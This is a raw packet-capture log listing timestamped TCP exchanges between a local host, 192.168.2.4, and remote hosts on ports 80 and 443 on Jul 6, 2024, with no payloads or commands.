Jul 6, 2024 14:10:14.728683949 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.728702068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.728748083 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.728770018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.728789091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.728801966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.728846073 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.728846073 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.729377985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.729408979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.729423046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.729433060 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.729494095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.729507923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.729521036 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.729521990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.729537010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.729547024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.729553938 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.729655981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.729676008 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.729813099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.729825974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.729839087 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.729886055 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.733153105 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.733196974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.733221054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.733236074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.733259916 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.733295918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.733483076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.733498096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.733639956 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.918323040 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.918391943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.918405056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.918421030 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.918427944 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.918458939 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.918514013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.918586016 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.918611050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.918632030 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.918653011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.918665886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.918679953 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.918723106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.918735981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.918740988 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.918781996 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.918781996 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.918817997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.918868065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.918970108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.918982029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.918997049 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.919023037 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.919110060 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.919122934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.919214964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.919226885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.919238091 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.919284105 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.919308901 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.919322968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.919400930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.919405937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.919439077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.919459105 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.919528961 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.919647932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.919734001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.919748068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.919761896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.919812918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.919812918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.919866085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.919878960 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.919900894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.919960022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.919986963 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.920058012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.920069933 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.920078993 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.920175076 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.920181990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.920228004 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.920265913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.920279026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.920294046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.920317888 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.920387983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.920478106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.920514107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.920536995 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.920593023 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.920608044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.920620918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.920661926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.920670033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.920670033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.920675993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.920726061 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.920846939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.920861959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.920902967 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.920919895 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.921108007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.921171904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.921185970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.921214104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.921236038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.921236038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.921295881 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.921319962 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.921334982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.921377897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.921399117 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.921442986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.921454906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.921495914 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.921495914 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.921632051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.921644926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.921719074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.921740055 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.921791077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.921803951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.921816111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.921919107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.921952009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.921957970 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.921957970 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.921973944 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.922135115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.922147989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.922169924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.922184944 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.922269106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.922287941 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.922380924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.922804117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.922863007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.922877073 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.922941923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.922941923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.922951937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.922977924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.923000097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.923012018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.923069000 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.923069000 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.927634001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.927658081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.927715063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.927733898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.927752972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.928116083 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.932420015 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.932436943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.932449102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.932463884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.932472944 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.932478905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.932498932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.932499886 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.932543993 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.932640076 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.935913086 CEST	49733	443	192.168.2.4	20.114.59.183
Jul 6, 2024 14:10:14.935914040 CEST	49733	443	192.168.2.4	20.114.59.183
Jul 6, 2024 14:10:14.935944080 CEST	443	49733	20.114.59.183	192.168.2.4
Jul 6, 2024 14:10:14.935956001 CEST	443	49733	20.114.59.183	192.168.2.4
Jul 6, 2024 14:10:15.118957996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.119616032 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.119962931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.119975090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.119985104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.119995117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.120048046 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.120048046 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.123661041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.123672009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.123681068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.123763084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.123763084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.124669075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.124680996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.124691010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.124708891 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.124737978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.124737978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.128376007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.128388882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.128398895 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.129280090 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.129412889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.129424095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.129535913 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.133264065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133275986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133285046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133296013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133311033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133330107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133338928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.133348942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133366108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133375883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133387089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133394957 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.133402109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133405924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.133411884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133421898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133424997 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.133431911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133441925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133449078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.133451939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133461952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133471966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133476973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.133482933 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133493900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133495092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.133495092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.133503914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133519888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133529902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133539915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133544922 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.133544922 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.133549929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133559942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133569956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133575916 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.133575916 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.133665085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.133763075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133774042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133785009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133795977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133805990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133815050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.133816004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133826971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133836985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133846998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133850098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.133857012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133867025 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133877993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133879900 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.133888960 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133898973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133898973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.133908987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133912086 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.133919954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133929014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133935928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.133939981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.133956909 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.133996010 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.133996010 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.134238005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.134249926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.134259939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.134272099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.134282112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.134284973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.134293079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.134301901 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.134311914 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.134547949 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.205920935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.206031084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.306889057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.306901932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.306914091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.306951046 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.306971073 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.306982040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.306982040 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.306993008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.307008028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.307030916 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.307056904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.307065964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.307090998 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.307113886 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.307718039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.307735920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.307745934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.307760954 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.307773113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.307780981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.307832956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.307842970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.307853937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.307867050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.307879925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.308124065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.308161020 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.308228016 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.308263063 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.308357954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.308389902 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.308399916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.308410883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.308438063 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.308444023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.308454037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.308468103 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.308485031 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.308495045 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.308531046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.308542013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.308562040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.308576107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.308646917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.308657885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.308681011 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.308692932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.308696032 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.308727980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.308830976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.308862925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.308866024 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.308876038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.308896065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.308916092 CEST	49732	80	192.168.2.4	211.108.60.155
